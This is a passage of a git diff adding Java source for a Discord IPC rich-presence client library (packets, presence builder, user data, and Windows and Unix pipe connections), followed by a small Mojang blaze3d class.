+ * + * This is only internally implemented. + * + * @param endpoint The endpoint to get from. + * + * @return The DiscordBuild corresponding to the endpoint, or + * {@link DiscordBuild#ANY} if none match. + */ + public static DiscordBuild from(String endpoint) + { + for(DiscordBuild value : values()) + { + if(value.endpoint != null && value.endpoint.equals(endpoint)) + { + return value; + } + } + return ANY; + } +} diff --git a/src/com/jagrosh/discordipc/entities/Packet.java b/src/com/jagrosh/discordipc/entities/Packet.java new file mode 100644 index 00000000..39020f7a --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/Packet.java @@ -0,0 +1,97 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc.entities; + +import org.json.JSONObject; + +import java.nio.ByteBuffer; +import java.nio.charset.StandardCharsets; + +/** + * A data-packet received from Discord via an {@link com.jagrosh.discordipc.IPCClient IPCClient}.
+ * These can be handled via an implementation of {@link com.jagrosh.discordipc.IPCListener IPCListener}. + * + * @author John Grosh (john.a.grosh@gmail.com) + */ +public class Packet +{ + private final OpCode op; + private final JSONObject data; + + /** + * Constructs a new Packet using an {@link OpCode} and {@link JSONObject}. + * + * @param op The OpCode value of this new Packet. + * @param data The JSONObject payload of this new Packet. + */ + public Packet(OpCode op, JSONObject data) + { + this.op = op; + this.data = data; + } + + /** + * Converts this {@link Packet} to a {@code byte} array. + * + * @return This Packet as a {@code byte} array. + */ + public byte[] toBytes() + { + byte[] d = data.toString().getBytes(StandardCharsets.UTF_8); + ByteBuffer packet = ByteBuffer.allocate(d.length + 2*Integer.BYTES); + packet.putInt(Integer.reverseBytes(op.ordinal())); + packet.putInt(Integer.reverseBytes(d.length)); + packet.put(d); + return packet.array(); + } + + /** + * Gets the {@link OpCode} value of this {@link Packet}. + * + * @return This Packet's OpCode. + */ + public OpCode getOp() + { + return op; + } + + /** + * Gets the {@link JSONObject} value as a part of this {@link Packet}. + * + * @return The JSONObject value of this Packet. + */ + public JSONObject getJson() + { + return data; + } + + @Override + public String toString() + { + return "Pkt:"+getOp()+getJson().toString(); + } + + /** + * Discord response OpCode values that are + * sent with response data to and from Discord + * and the {@link com.jagrosh.discordipc.IPCClient IPCClient} + * connected. + */ + public enum OpCode + { + HANDSHAKE, FRAME, CLOSE, PING, PONG + } +} diff --git a/src/com/jagrosh/discordipc/entities/RichPresence.java b/src/com/jagrosh/discordipc/entities/RichPresence.java new file mode 100644 index 00000000..b4afe504 --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/RichPresence.java @@ -0,0 +1,334 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc.entities; + +import org.json.JSONArray; +import org.json.JSONObject; + +import java.time.OffsetDateTime; + +/** + * An encapsulation of all data needed to properly construct a JSON RichPresence payload. + * + *

These can be built using {@link Builder}. + * + * @author John Grosh (john.a.grosh@gmail.com) + */ +public class RichPresence +{ + private final String state; + private final String details; + private final OffsetDateTime startTimestamp; + private final OffsetDateTime endTimestamp; + private final String largeImageKey; + private final String largeImageText; + private final String smallImageKey; + private final String smallImageText; + private final String partyId; + private final int partySize; + private final int partyMax; + private final String matchSecret; + private final String joinSecret; + private final String spectateSecret; + private final boolean instance; + + public RichPresence(String state, String details, OffsetDateTime startTimestamp, OffsetDateTime endTimestamp, + String largeImageKey, String largeImageText, String smallImageKey, String smallImageText, + String partyId, int partySize, int partyMax, String matchSecret, String joinSecret, + String spectateSecret, boolean instance) + { + this.state = state; + this.details = details; + this.startTimestamp = startTimestamp; + this.endTimestamp = endTimestamp; + this.largeImageKey = largeImageKey; + this.largeImageText = largeImageText; + this.smallImageKey = smallImageKey; + this.smallImageText = smallImageText; + this.partyId = partyId; + this.partySize = partySize; + this.partyMax = partyMax; + this.matchSecret = matchSecret; + this.joinSecret = joinSecret; + this.spectateSecret = spectateSecret; + this.instance = instance; + } + + /** + * Constructs a {@link JSONObject} representing a payload to send to discord + * to update a user's Rich Presence. + * + *

This is purely internal, and should not ever need to be called outside of + * the library. + * + * @return A JSONObject payload for updating a user's Rich Presence. + */ + public JSONObject toJson() + { + return new JSONObject() + .put("state", state) + .put("details", details) + .put("timestamps", new JSONObject() + .put("start", startTimestamp==null ? null : startTimestamp.toEpochSecond()) + .put("end", endTimestamp==null ? null : endTimestamp.toEpochSecond())) + .put("assets", new JSONObject() + .put("large_image", largeImageKey) + .put("large_text", largeImageText) + .put("small_image", smallImageKey) + .put("small_text", smallImageText)) + .put("party", partyId==null ? null : new JSONObject() + .put("id", partyId) + .put("size", new JSONArray().put(partySize).put(partyMax))) + .put("secrets", new JSONObject() + .put("join", joinSecret) + .put("spectate", spectateSecret) + .put("match", matchSecret)) + .put("instance", instance); + } + + /** + * A chain builder for a {@link RichPresence} object. + * + *

An accurate description of each field and it's functions can be found + * here + */ + public static class Builder + { + private String state; + private String details; + private OffsetDateTime startTimestamp; + private OffsetDateTime endTimestamp; + private String largeImageKey; + private String largeImageText; + private String smallImageKey; + private String smallImageText; + private String partyId; + private int partySize; + private int partyMax; + private String matchSecret; + private String joinSecret; + private String spectateSecret; + private boolean instance; + + /** + * Builds the {@link RichPresence} from the current state of this builder. + * + * @return The RichPresence built. + */ + public RichPresence build() + { + return new RichPresence(state, details, startTimestamp, endTimestamp, + largeImageKey, largeImageText, smallImageKey, smallImageText, + partyId, partySize, partyMax, matchSecret, joinSecret, + spectateSecret, instance); + } + + /** + * Sets the state of the user's current party. + * + * @param state The state of the user's current party. + * + * @return This Builder. + */ + public Builder setState(String state) + { + this.state = state; + return this; + } + + /** + * Sets details of what the player is currently doing. + * + * @param details The details of what the player is currently doing. + * + * @return This Builder. + */ + public Builder setDetails(String details) + { + this.details = details; + return this; + } + + /** + * Sets the time that the player started a match or activity. + * + * @param startTimestamp The time the player started a match or activity. + * + * @return This Builder. + */ + public Builder setStartTimestamp(OffsetDateTime startTimestamp) + { + this.startTimestamp = startTimestamp; + return this; + } + + /** + * Sets the time that the player's current activity will end. + * + * @param endTimestamp The time the player's activity will end. + * + * @return This Builder. + */ + public Builder setEndTimestamp(OffsetDateTime endTimestamp) + { + this.endTimestamp = endTimestamp; + return this; + } + + /** + * Sets the key of the uploaded image for the large profile artwork, as well as + * the text tooltip shown when a cursor hovers over it. + * + *

These can be configured in the applications + * page on the discord website. + * + * @param largeImageKey A key to an image to display. + * @param largeImageText Text displayed when a cursor hovers over the large image. + * + * @return This Builder. + */ + public Builder setLargeImage(String largeImageKey, String largeImageText) + { + this.largeImageKey = largeImageKey; + this.largeImageText = largeImageText; + return this; + } + + /** + * Sets the key of the uploaded image for the large profile artwork. + * + *

These can be configured in the applications + * page on the discord website. + * + * @param largeImageKey A key to an image to display. + * + * @return This Builder. + */ + public Builder setLargeImage(String largeImageKey) + { + return setLargeImage(largeImageKey, null); + } + + /** + * Sets the key of the uploaded image for the small profile artwork, as well as + * the text tooltip shown when a cursor hovers over it. + * + *

These can be configured in the applications + * page on the discord website. + * + * @param smallImageKey A key to an image to display. + * @param smallImageText Text displayed when a cursor hovers over the small image. + * + * @return This Builder. + */ + public Builder setSmallImage(String smallImageKey, String smallImageText) + { + this.smallImageKey = smallImageKey; + this.smallImageText = smallImageText; + return this; + } + + /** + * Sets the key of the uploaded image for the small profile artwork. + * + *

These can be configured in the applications + * page on the discord website. + * + * @param smallImageKey A key to an image to display. + * + * @return This Builder. + */ + public Builder setSmallImage(String smallImageKey) + { + return setSmallImage(smallImageKey, null); + } + + /** + * Sets party configurations for a team, lobby, or other form of group. + * + *

The {@code partyId} is ID of the player's party. + *
The {@code partySize} is the current size of the player's party. + *
The {@code partyMax} is the maximum number of player's allowed in the party. + * + * @param partyId The ID of the player's party. + * @param partySize The current size of the player's party. + * @param partyMax The maximum number of player's allowed in the party. + * + * @return This Builder. + */ + public Builder setParty(String partyId, int partySize, int partyMax) + { + this.partyId = partyId; + this.partySize = partySize; + this.partyMax = partyMax; + return this; + } + + /** + * Sets the unique hashed string for Spectate and Join. + * + * @param matchSecret The unique hashed string for Spectate and Join. + * + * @return This Builder. + */ + public Builder setMatchSecret(String matchSecret) + { + this.matchSecret = matchSecret; + return this; + } + + /** + * Sets the unique hashed string for chat invitations and Ask to Join. + * + * @param joinSecret The unique hashed string for chat invitations and Ask to Join. + * + * @return This Builder. + */ + public Builder setJoinSecret(String joinSecret) + { + this.joinSecret = joinSecret; + return this; + } + + /** + * Sets the unique hashed string for Spectate button. + * + * @param spectateSecret The unique hashed string for Spectate button. + * + * @return This Builder. + */ + public Builder setSpectateSecret(String spectateSecret) + { + this.spectateSecret = spectateSecret; + return this; + } + + /** + * Marks the {@link #setMatchSecret(String) matchSecret} as a game + * session with a specific beginning and end. + * + * @param instance Whether or not the {@code matchSecret} is a game + * with a specific beginning and end. + * + * @return This Builder. + */ + public Builder setInstance(boolean instance) + { + this.instance = instance; + return this; + } + } +} diff --git a/src/com/jagrosh/discordipc/entities/User.java b/src/com/jagrosh/discordipc/entities/User.java new file mode 100644 index 00000000..80ea17d8 --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/User.java @@ -0,0 +1,213 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc.entities; + +/** + * A encapsulation of a Discord User's data provided when a + * {@link com.jagrosh.discordipc.IPCListener IPCListener} fires + * {@link com.jagrosh.discordipc.IPCListener#onActivityJoinRequest(com.jagrosh.discordipc.IPCClient, String, User) + * onActivityJoinRequest}. + * + * @author John Grosh (john.a.grosh@gmail.com) + */ +public class User +{ + private final String name; + private final String discriminator; + private final long id; + private final String avatar; + + /** + * Constructs a new {@link User}.
+ * Only implemented internally. + * @param name user's name + * @param discriminator user's discrim + * @param id user's id + * @param avatar user's avatar hash, or {@code null} if they have no avatar + */ + public User(String name, String discriminator, long id, String avatar) + { + this.name = name; + this.discriminator = discriminator; + this.id = id; + this.avatar = avatar; + } + + /** + * Gets the Users account name. + * + * @return The Users account name. + */ + public String getName() + { + return name; + } + + /** + * Gets the Users discriminator. + * + * @return The Users discriminator. + */ + public String getDiscriminator() + { + return discriminator; + } + + /** + * Gets the Users Snowflake ID as a {@code long}. + * + * @return The Users Snowflake ID as a {@code long}. + */ + public long getIdLong() + { + return id; + } + + /** + * Gets the Users Snowflake ID as a {@code String}. + * + * @return The Users Snowflake ID as a {@code String}. + */ + public String getId() + { + return Long.toString(id); + } + + /** + * Gets the Users avatar ID. + * + * @return The Users avatar ID. + */ + public String getAvatarId() + { + return avatar; + } + + /** + * Gets the Users avatar URL. + * + * @return The Users avatar URL. + */ + public String getAvatarUrl() + { + return getAvatarId() == null ? null : "https://cdn.discordapp.com/avatars/" + getId() + "/" + getAvatarId() + + (getAvatarId().startsWith("a_") ? ".gif" : ".png"); + } + + /** + * Gets the Users {@link DefaultAvatar} avatar ID. + * + * @return The Users {@link DefaultAvatar} avatar ID. + */ + public String getDefaultAvatarId() + { + return DefaultAvatar.values()[Integer.parseInt(getDiscriminator()) % DefaultAvatar.values().length].toString(); + } + + /** + * Gets the Users {@link DefaultAvatar} avatar URL. + * + * @return The Users {@link DefaultAvatar} avatar URL. + */ + public String getDefaultAvatarUrl() + { + return "https://discordapp.com/assets/" + getDefaultAvatarId() + ".png"; + } + + /** + * Gets the Users avatar URL, or their {@link DefaultAvatar} avatar URL if they + * do not have a custom avatar set on their account. + * + * @return The Users effective avatar URL. + */ + public String getEffectiveAvatarUrl() + { + return getAvatarUrl() == null ? getDefaultAvatarUrl() : getAvatarUrl(); + } + + /** + * Gets whether or not this User is a bot.

+ * + * While, at the time of writing this documentation, bots cannot + * use Rich Presence features, there may be a time in the future + * where they have such an ability. + * + * @return False + */ + public boolean isBot() + { + return false; //bots cannot use RPC + } + + /** + * Gets the User as a discord formatted mention.

+ * + * {@code <@SNOWFLAKE_ID> } + * + * @return A discord formatted mention of this User. + */ + public String getAsMention() + { + return "<@" + id + '>'; + } + + @Override + public boolean equals(Object o) + { + if (!(o instanceof User)) + return false; + User oUser = (User) o; + return this == oUser || this.id == oUser.id; + } + + @Override + public int hashCode() + { + return Long.hashCode(id); + } + + @Override + public String toString() + { + return "U:" + getName() + '(' + id + ')'; + } + + /** + * Constants representing one of five different + * default avatars a {@link User} can have. + */ + public enum DefaultAvatar + { + BLURPLE("6debd47ed13483642cf09e832ed0bc1b"), + GREY("322c936a8c8be1b803cd94861bdfa868"), + GREEN("dd4dbc0016779df1378e7812eabaa04d"), + ORANGE("0e291f67c9274a1abdddeb3fd919cbaa"), + RED("1cbd08c76f8af6dddce02c5138971129"); + + private final String text; + + DefaultAvatar(String text) + { + this.text = text; + } + + @Override + public String toString() + { + return text; + } + } +} diff --git a/src/com/jagrosh/discordipc/entities/pipe/Pipe.java b/src/com/jagrosh/discordipc/entities/pipe/Pipe.java new file mode 100644 index 00000000..8ab84604 --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/pipe/Pipe.java @@ -0,0 +1,275 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.jagrosh.discordipc.entities.pipe; + +import com.jagrosh.discordipc.IPCClient; +import com.jagrosh.discordipc.IPCListener; +import com.jagrosh.discordipc.entities.Callback; +import com.jagrosh.discordipc.entities.DiscordBuild; +import com.jagrosh.discordipc.entities.Packet; +import com.jagrosh.discordipc.exceptions.NoDiscordClientException; +import org.json.JSONException; +import org.json.JSONObject; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.util.HashMap; +import java.util.UUID; + +public abstract class Pipe { + + private static final Logger LOGGER = LoggerFactory.getLogger(Pipe.class); + private static final int VERSION = 1; + PipeStatus status = PipeStatus.CONNECTING; + IPCListener listener; + private DiscordBuild build; + final IPCClient ipcClient; + private final HashMap callbacks; + + Pipe(IPCClient ipcClient, HashMap callbacks) + { + this.ipcClient = ipcClient; + this.callbacks = callbacks; + } + + public static Pipe openPipe(IPCClient ipcClient, long clientId, HashMap callbacks, + DiscordBuild... preferredOrder) throws NoDiscordClientException + { + + if(preferredOrder == null || preferredOrder.length == 0) + preferredOrder = new DiscordBuild[]{DiscordBuild.ANY}; + + Pipe pipe = null; + + // store some files so we can get the preferred client + Pipe[] open = new Pipe[DiscordBuild.values().length]; + for(int i = 0; i < 10; i++) + { + try + { + String location = getPipeLocation(i); + LOGGER.debug(String.format("Searching for IPC: %s", location)); + pipe = createPipe(ipcClient, callbacks, location); + + pipe.send(Packet.OpCode.HANDSHAKE, new JSONObject().put("v", VERSION).put("client_id", Long.toString(clientId)), null); + + Packet p = pipe.read(); // this is a valid client at this point + + pipe.build = DiscordBuild.from(p.getJson().getJSONObject("data") + .getJSONObject("config") + .getString("api_endpoint")); + + LOGGER.debug(String.format("Found a valid client (%s) with packet: %s", pipe.build.name(), p.toString())); + // we're done if we found our first choice + if(pipe.build == preferredOrder[0] || DiscordBuild.ANY == preferredOrder[0]) + { + LOGGER.info(String.format("Found preferred client: %s", pipe.build.name())); + break; + } + + open[pipe.build.ordinal()] = pipe; // didn't find first choice yet, so store what we have + open[DiscordBuild.ANY.ordinal()] = pipe; // also store in 'any' for use later + + pipe.build = null; + pipe = null; + } + catch(IOException | JSONException ex) + { + pipe = null; + } + } + + if(pipe == null) + { + // we already know we don't have our first pick + // check each of the rest to see if we have that + for(int i = 1; i < preferredOrder.length; i++) + { + DiscordBuild cb = preferredOrder[i]; + LOGGER.debug(String.format("Looking for client build: %s", cb.name())); + if(open[cb.ordinal()] != null) + { + pipe = open[cb.ordinal()]; + open[cb.ordinal()] = null; + if(cb == DiscordBuild.ANY) // if we pulled this from the 'any' slot, we need to figure out which build it was + { + for(int k = 0; k < open.length; k++) + { + if(open[k] == pipe) + { + pipe.build = DiscordBuild.values()[k]; + open[k] = null; // we don't want to close this + } + } + } + else pipe.build = cb; + + LOGGER.info(String.format("Found preferred client: %s", pipe.build.name())); + break; + } + } + if(pipe == null) + { + throw new NoDiscordClientException(); + } + } + // close unused files, except skip 'any' because its always a duplicate + for(int i = 0; i < open.length; i++) + { + if(i == DiscordBuild.ANY.ordinal()) + continue; + if(open[i] != null) + { + try { + open[i].close(); + } catch(IOException ex) { + // This isn't really important to applications and better + // as debug info + LOGGER.debug("Failed to close an open IPC pipe!", ex); + } + } + } + + pipe.status = PipeStatus.CONNECTED; + + return pipe; + } + + private static Pipe createPipe(IPCClient ipcClient, HashMap callbacks, String location) { + String osName = System.getProperty("os.name").toLowerCase(); + + if (osName.contains("win")) + { + return new WindowsPipe(ipcClient, callbacks, location); + } + else if (osName.contains("linux") || osName.contains("mac")) + { + try { + return new UnixPipe(ipcClient, callbacks, location); + } + catch (IOException e) + { + throw new RuntimeException(e); + } + } + else + { + throw new RuntimeException("Unsupported OS: " + osName); + } + } + + /** + * Sends json with the given {@link Packet.OpCode}. + * + * @param op The {@link Packet.OpCode} to send data with. + * @param data The data to send. + * @param callback callback for the response + */ + public void send(Packet.OpCode op, JSONObject data, Callback callback) + { + try + { + String nonce = generateNonce(); + Packet p = new Packet(op, data.put("nonce",nonce)); + if(callback!=null && !callback.isEmpty()) + callbacks.put(nonce, callback); + write(p.toBytes()); + LOGGER.debug(String.format("Sent packet: %s", p.toString())); + if(listener != null) + listener.onPacketSent(ipcClient, p); + } + catch(IOException ex) + { + LOGGER.error("Encountered an IOException while sending a packet and disconnected!"); + status = PipeStatus.DISCONNECTED; + } + } + + /** + * Blocks until reading a {@link Packet} or until the + * read thread encounters bad data. + * + * @return A valid {@link Packet}. + * + * @throws IOException + * If the pipe breaks. + * @throws JSONException + * If the read thread receives bad data. + */ + public abstract Packet read() throws IOException, JSONException; + + public abstract void write(byte[] b) throws IOException; + + /** + * Generates a nonce. + * + * @return A random {@link UUID}. + */ + private static String generateNonce() + { + return UUID.randomUUID().toString(); + } + + public PipeStatus getStatus() + { + return status; + } + + public void setStatus(PipeStatus status) + { + this.status = status; + } + + public void setListener(IPCListener listener) + { + this.listener = listener; + } + + public abstract void close() throws IOException; + + public DiscordBuild getDiscordBuild() + { + return build; + } + + // a list of system property keys to get IPC file from different unix systems. + private final static String[] unixPaths = {"XDG_RUNTIME_DIR","TMPDIR","TMP","TEMP"}; + + /** + * Finds the IPC location in the current system. + * + * @param i Index to try getting the IPC at. + * + * @return The IPC location. + */ + private static String getPipeLocation(int i) + { + if(System.getProperty("os.name").contains("Win")) + return "\\\\?\\pipe\\discord-ipc-"+i; + String tmppath = null; + for(String str : unixPaths) + { + tmppath = System.getenv(str); + if(tmppath != null) + break; + } + if(tmppath == null) + tmppath = "/tmp"; + return tmppath+"/discord-ipc-"+i; + } +} diff --git a/src/com/jagrosh/discordipc/entities/pipe/PipeStatus.java b/src/com/jagrosh/discordipc/entities/pipe/PipeStatus.java new file mode 100644 index 00000000..7f4af254 --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/pipe/PipeStatus.java @@ -0,0 +1,76 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.jagrosh.discordipc.entities.pipe; + +import com.jagrosh.discordipc.IPCClient; +import com.jagrosh.discordipc.IPCListener; +import com.jagrosh.discordipc.entities.DiscordBuild; +import com.jagrosh.discordipc.entities.Packet; + +/** + * Constants representing various status that an {@link IPCClient} can have. + */ +public enum PipeStatus +{ + /** + * Status for when the IPCClient when no attempt to connect has been made.

+ * + * All IPCClients are created starting with this status, + * and it never returns for the lifespan of the client. + */ + UNINITIALIZED, + + /** + * Status for when the Pipe is attempting to connect.

+ * + * This will become set whenever the #connect() method is called. + */ + CONNECTING, + + /** + * Status for when the Pipe is connected with Discord.

+ * + * This is only present when the connection is healthy, stable, + * and reading good data without exception.
+ * If the environment becomes out of line with these principles + * in any way, the IPCClient in question will become + * {@link PipeStatus#DISCONNECTED}. + */ + CONNECTED, + + /** + * Status for when the Pipe has received an {@link Packet.OpCode#CLOSE}.

+ * + * This signifies that the reading thread has safely and normally shut + * and the client is now inactive. + */ + CLOSED, + + /** + * Status for when the Pipe has unexpectedly disconnected, either because + * of an exception, and/or due to bad data.

+ * + * When the status of an Pipe becomes this, a call to + * {@link IPCListener#onDisconnect(IPCClient, Throwable)} will be made if one + * has been provided to the IPCClient.

+ * + * Note that the IPCClient will be inactive with this status, after which a + * call to {@link IPCClient#connect(DiscordBuild...)} can be made to "reconnect" the + * IPCClient. + */ + DISCONNECTED +} \ No newline at end of file diff --git a/src/com/jagrosh/discordipc/entities/pipe/UnixPipe.java b/src/com/jagrosh/discordipc/entities/pipe/UnixPipe.java new file mode 100644 index 00000000..22de47e6 --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/pipe/UnixPipe.java @@ -0,0 +1,104 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.jagrosh.discordipc.entities.pipe; + +import com.jagrosh.discordipc.IPCClient; +import com.jagrosh.discordipc.entities.Callback; +import com.jagrosh.discordipc.entities.Packet; +import org.json.JSONException; +import org.json.JSONObject; +import org.newsclub.net.unix.AFUNIXSocket; +import org.newsclub.net.unix.AFUNIXSocketAddress; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.ByteBuffer; +import java.nio.file.Paths; +import java.util.HashMap; + +public class UnixPipe extends Pipe +{ + + private static final Logger LOGGER = LoggerFactory.getLogger(UnixPipe.class); + private final AFUNIXSocket socket; + + UnixPipe(IPCClient ipcClient, HashMap callbacks, String location) throws IOException + { + super(ipcClient, callbacks); + + socket = AFUNIXSocket.newInstance(); + socket.connect(AFUNIXSocketAddress.of(Paths.get(location))); + } + + @SuppressWarnings("ResultOfMethodCallIgnored") + @Override + public Packet read() throws IOException, JSONException + { + InputStream is = socket.getInputStream(); + + while(is.available() == 0 && status == PipeStatus.CONNECTED) + { + try { + Thread.sleep(50); + } catch(InterruptedException ignored) {} + } + + /*byte[] buf = new byte[is.available()]; + is.read(buf, 0, buf.length); + LOGGER.info(new String(buf)); + + if (true) return null;*/ + + if(status==PipeStatus.DISCONNECTED) + throw new IOException("Disconnected!"); + + if(status==PipeStatus.CLOSED) + return new Packet(Packet.OpCode.CLOSE, null); + + // Read the op and length. Both are signed ints + byte[] d = new byte[8]; + is.read(d); + ByteBuffer bb = ByteBuffer.wrap(d); + + Packet.OpCode op = Packet.OpCode.values()[Integer.reverseBytes(bb.getInt())]; + d = new byte[Integer.reverseBytes(bb.getInt())]; + + is.read(d); + Packet p = new Packet(op, new JSONObject(new String(d))); + LOGGER.debug(String.format("Received packet: %s", p.toString())); + if(listener != null) + listener.onPacketReceived(ipcClient, p); + return p; + } + + @Override + public void write(byte[] b) throws IOException + { + socket.getOutputStream().write(b); + } + + @Override + public void close() throws IOException + { + LOGGER.debug("Closing IPC pipe..."); + send(Packet.OpCode.CLOSE, new JSONObject(), null); + status = PipeStatus.CLOSED; + socket.close(); + } +} diff --git a/src/com/jagrosh/discordipc/entities/pipe/WindowsPipe.java b/src/com/jagrosh/discordipc/entities/pipe/WindowsPipe.java new file mode 100644 index 00000000..c1e9ce2e --- /dev/null +++ b/src/com/jagrosh/discordipc/entities/pipe/WindowsPipe.java @@ -0,0 +1,89 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.jagrosh.discordipc.entities.pipe; + +import com.jagrosh.discordipc.IPCClient; +import com.jagrosh.discordipc.entities.Callback; +import com.jagrosh.discordipc.entities.Packet; +import org.json.JSONException; +import org.json.JSONObject; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.FileNotFoundException; +import java.io.IOException; +import java.io.RandomAccessFile; +import java.util.HashMap; + +public class WindowsPipe extends Pipe +{ + + private static final Logger LOGGER = LoggerFactory.getLogger(WindowsPipe.class); + + private final RandomAccessFile file; + + WindowsPipe(IPCClient ipcClient, HashMap callbacks, String location) + { + super(ipcClient, callbacks); + try { + this.file = new RandomAccessFile(location, "rw"); + } catch (FileNotFoundException e) { + throw new RuntimeException(e); + } + } + + @Override + public void write(byte[] b) throws IOException { + file.write(b); + } + + @Override + public Packet read() throws IOException, JSONException { + while(file.length() == 0 && status == PipeStatus.CONNECTED) + { + try { + Thread.sleep(50); + } catch(InterruptedException ignored) {} + } + + if(status==PipeStatus.DISCONNECTED) + throw new IOException("Disconnected!"); + + if(status==PipeStatus.CLOSED) + return new Packet(Packet.OpCode.CLOSE, null); + + Packet.OpCode op = Packet.OpCode.values()[Integer.reverseBytes(file.readInt())]; + int len = Integer.reverseBytes(file.readInt()); + byte[] d = new byte[len]; + + file.readFully(d); + Packet p = new Packet(op, new JSONObject(new String(d))); + LOGGER.debug(String.format("Received packet: %s", p.toString())); + if(listener != null) + listener.onPacketReceived(ipcClient, p); + return p; + } + + @Override + public void close() throws IOException { + LOGGER.debug("Closing IPC pipe..."); + send(Packet.OpCode.CLOSE, new JSONObject(), null); + status = PipeStatus.CLOSED; + file.close(); + } + +} diff --git a/src/com/jagrosh/discordipc/exceptions/NoDiscordClientException.java b/src/com/jagrosh/discordipc/exceptions/NoDiscordClientException.java new file mode 100644 index 00000000..60cfa8a9 --- /dev/null +++ b/src/com/jagrosh/discordipc/exceptions/NoDiscordClientException.java @@ -0,0 +1,33 @@ +/* + * Copyright 2017 John Grosh (john.a.grosh@gmail.com). + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.jagrosh.discordipc.exceptions; + +import com.jagrosh.discordipc.entities.DiscordBuild; + +/** + * An exception thrown when an {@link com.jagrosh.discordipc.IPCClient IPCClient} + * when the client cannot find the proper application to use for RichPresence when + * attempting to {@link com.jagrosh.discordipc.IPCClient#connect(DiscordBuild...) connect}.

+ * + * This purely and always means the IPCClient in question (specifically the client ID) + * is invalid and features using this library cannot be accessed using the instance. + * + * @author John Grosh (john.a.grosh@gmail.com) + */ +public class NoDiscordClientException extends Exception +{ + +} diff --git a/src/com/mojang/blaze3d/Empty3i.java b/src/com/mojang/blaze3d/Empty3i.java new file mode 100644 index 00000000..30b0f082 --- /dev/null +++ b/src/com/mojang/blaze3d/Empty3i.java @@ -0,0 +1,19 @@ +package com.mojang.blaze3d; + +import com.google.common.collect.ImmutableList; +import com.mojang.blaze3d.systems.IRenderCall; +import java.util.List; +import java.util.concurrent.ConcurrentLinkedQueue; + +public class Empty3i +{ + private final List> linkedRenderCalls = ImmutableList.of(new ConcurrentLinkedQueue<>(), new ConcurrentLinkedQueue<>(), new ConcurrentLinkedQueue<>(), new ConcurrentLinkedQueue<>()); + private volatile int x; + private volatile int y; + private volatile int z; + + public Empty3i() + { + this.x = this.y = this.z + 1; + } +} diff --git a/src/com/mojang/blaze3d/matrix/MatrixStack.java b/src/com/mojang/blaze3d/matrix/MatrixStack.java new file mode 